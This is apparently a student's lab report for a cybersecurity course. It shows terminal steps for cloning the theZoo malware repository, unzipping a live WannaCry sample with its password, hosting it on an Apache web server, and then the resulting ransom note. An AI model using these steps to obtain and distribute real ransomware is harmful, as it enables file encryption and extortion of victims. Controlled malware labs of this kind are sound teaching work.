Amir Mansha

Cyse 230 – 001

12/5/20

Ransomware Lab #5

```
student@kali:~$ hostname -I
10.1.93.77
student@kali:~$
```

```
student@kali:~$ hostname -I
10.1.93.77
student@kali:~$ git clone https://github.com/ytisf/theZoo.git
Cloning into 'theZoo'...
remote: Enumerating objects: 2884, done.
remote: Total 2884 (delta 0), reused 0 (delta 0), pack-reused 2884
Receiving objects: 100% (2884/2884), 907.17 MiB | 66.61 MiB/s, done.
Resolving deltas: 100% (631/631), done.
Updating files: 100% (1327/1327), done.
student@kali:~$
```

```
student@kali:~$ hostname -I
10.1.93.77
student@kali:~$ git clone https://github.com/ytisf/theZoo.git
Cloning into 'theZoo'...
remote: Enumerating objects: 2884, done.
remote: Total 2884 (delta 0), reused 0 (delta 0), pack-reused 2884
Receiving objects: 100% (2884/2884), 907.17 MiB | 66.61 MiB/s, done.
Resolving deltas: 100% (631/631), done.
Updating files: 100% (1327/1327), done.
student@kali:~$ ls
Desktop     Music      Templates   thinclient_drives
Documents   Pictures   Videos      zenmap-7.80-1.noarch.rpm
Downloads   Public     theZoo
student@kali:~$
```

```
student@kali:~/theZoo$ ls
CODE-OF-CONDUCT.md    Ransomware.WannaCry.md5      conf        requirements.txt
CONTRIBUTING.md       Ransomware.WannaCry.pass     imports     theZoo.py
LICENSE.md            Ransomware.WannaCry.sha256   malwares
README.md             Ransomware.WannaCry.zip      prep_file.py
student@kali:~/theZoo$ cat Ransomware.WannaCry.pass
infected
student@kali:~/theZoo$ unzip Ransomware.WannaCry.zip
Archive:  Ransomware.WannaCry.zip
[Ransomware.WannaCry.zip] ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe
8e080e41aa.exe password:
  inflating: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.ex
e
```

```
student@kali:~/theZoo$ ls
CODE-OF-CONDUCT.md
CONTRIBUTING.md
LICENSE.md
README.md
Ransomware.WannaCry.md5
Ransomware.WannaCry.pass
Ransomware.WannaCry.sha256
Ransomware.WannaCry.zip
conf
ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
imports
malwares
prep_file.py
requirements.txt
theZoo.py
student@kali:~/theZoo$
```

```
Ransomware.WannaCry.zip
conf
ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
imports
malwares
prep_file.py
requirements.txt
theZoo.py
student@kali:~/theZoo$ mv ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe
8e080e41aa.exe ransomware.exe
student@kali:~/theZoo$ ls
CODE-OF-CONDUCT.md   Ransomware.WannaCry.md5      conf            ransomware.exe
CONTRIBUTING.md      Ransomware.WannaCry.pass     imports         requirements.txt
LICENSE.md           Ransomware.WannaCry.sha256   malwares        theZoo.py
README.md            Ransomware.WannaCry.zip      prep_file.py
student@kali:~/theZoo$ sudo mv ransomware.exe /var/www/html
student@kali:~/theZoo$ sudo service apache2 start
student@kali:~/theZoo$
```

```
        Ooops, your important files are encrypted.


If you see this text, but don't see the "Wana Decrypt0r" window,
then your antivirus removed the decrypt software or you deleted
it from your computer.

If you need your files you have to run the decrypt software.

Please find an application file named "@WanaDecryptor@.exe" in
any folder or restore from the antivirus quarantine.

Run and follow the instructions!
```

When I clicked "NO" the ransomware still showed up.